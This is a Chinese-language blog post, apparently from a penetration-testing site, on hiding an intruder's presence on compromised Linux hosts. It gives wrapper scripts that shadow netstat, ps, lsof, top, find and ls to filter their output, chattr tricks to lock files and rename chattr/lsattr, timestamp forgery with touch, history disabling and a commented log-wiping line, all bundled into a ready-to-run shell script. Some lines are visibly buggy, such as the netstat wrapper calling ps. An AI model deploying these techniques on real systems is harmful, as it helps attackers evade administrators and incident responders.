Linux 隐匿技巧

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

前言

在内网渗透时,有时需要将工具放在目标机进程执行,但这里就需要考虑隐蔽性的问题。下面所讲的不是什么高大上的技术,只是一些常用的技巧。

进程隐匿

netstat 伪装

首先,包装下 netstat 命令,ps 路径为:/usr/bin/netstat

57a57b71503f5d018590f820627f6cd3

之后,创建/usr/local/bin/netstat文件,写入内容:

1
2
3
#!/bin/bash

/usr/bin/ps $@ | grep -Ev 'name|address|port'

最后,赋予执行权限 chmod +x /usr/local/bin/netstat

执行which netstat看下命令变化:

d0d176beccfe123449af7f0a2ac987b9

netstat 命令修改前后的对比:

e6c89a39f64b18f3a6092f1aec528a90

当我们自己使用时,直接用/bin/netstat就 OK 了。

文件隐匿

首先,看下 Linux chattr 命令,用于改变文件属性。这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:

  • a:让文件或目录仅供附加用途
  • b:不更新文件或目录的最后存取时间
  • c:将文件或目录压缩后存放
  • d:将文件或目录排除在倾倒操作之外
  • i:不得任意更动文件或目录
  • s:保密性删除文件或目录
  • S:即时更新文件或目录
  • u:预防意外删除

实战中常用的为 +a (只能追加,不能删除) 与 +i (不能更改) :

4ba22f9bbc3476d61933da708fb3d9d6

这里,还需要将 chattrlsattr 命令进程隐藏:

1
2
mv /usr/bin/chattr /usr/bin/cht
mv /usr/bin/lsattr /usr/bin/lst

文件时间修改

touch -acmr /bin/ls /usr/bin/cht ( 修改 后一个文件时间 与 前一个文件时间 一致)

参数

  • -a:改变访问时间为当前时间
  • -m:改变修改时间为当前时间
  • -c:文件不存在不新建文件
  • -r:使用参考文件的时间
  • -d:设置为指定时间
  • -t:设置档案的时间记录

附: sh脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/bin/bash

# history
# unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

# ps
touch /usr/local/bin/ps

cat <<EOF >> /usr/local/bin/ps
#!/bin/bash
/bin/ps \$@ | grep -Ev 'name|address|port'
/usr/bin/ps \$@ | grep -Ev 'name|address|port'
EOF

chmod +x /usr/local/bin/ps && touch -acmr /bin/ps /usr/local/bin/ps

# netstat
touch /usr/local/bin/netstat

cat <<EOF >> /usr/local/bin/netstat
#!/bin/bash
/bin/netstat \$@ | grep -Ev 'name|address|port'
/usr/bin/netstat \$@ | grep -Ev 'name|address|port'
EOF

chmod +x /usr/local/bin/netstat && touch -acmr /bin/netstat /usr/local/bin/netstat

# lsof
touch /usr/local/bin/lsof

cat <<EOF >> /usr/local/bin/lsof
#!/bin/bash
/bin/lsof \$@ | grep -Ev 'name|address|port'
/usr/bin/lsof \$@ | grep -Ev 'name|address|port'
EOF

chmod +x /usr/local/bin/lsof && touch -acmr /bin/lsof /usr/local/bin/lsof

# top
touch /usr/local/bin/top

cat <<EOF >> /usr/local/bin/top
#!/bin/bash
/bin/top \$@ | grep -Ev 'name|address|port'
/usr/bin/top \$@ | grep -Ev 'name|address|port'
EOF

chmod +x /usr/local/bin/top && touch -acmr /bin/top /usr/local/bin/lsof

# find
touch /usr/local/bin/find

cat <<EOF >> /usr/local/bin/find
#!/bin/bash
/bin/find \$@ | grep -Ev 'name|address|port'
/usr/bin/find \$@ | grep -Ev 'name|address|port'
EOF

chmod +x /usr/local/bin/find && touch -acmr /bin/find /usr/local/bin/lsof

# ls
touch /usr/local/bin/ls

cat <<EOF >> /usr/local/bin/ls
#!/bin/bash
/bin/ls \$@ | grep -Ev 'name|address|port'
/usr/bin/ls \$@ | grep -Ev 'name|address|port'
EOF

chmod +x /usr/local/bin/ls && touch -acmr /bin/ls /usr/local/bin/ls

# chattr & lsattr
#!/bin/bash
mkdir /tmp/.tmp/
chattr +a /tmp/.tmp/
chattr +a /root/.ssh/
mv /usr/bin/chattr /usr/bin/cht
mv /usr/bin/lsattr /usr/bin/lst

# last
# echo "" > /var/log/wtmp

3b827cc839ab5ac03a13adeb3e529fb9

修改命令变量后,重启终端生效,执行后记得删除sh脚本 !

Reference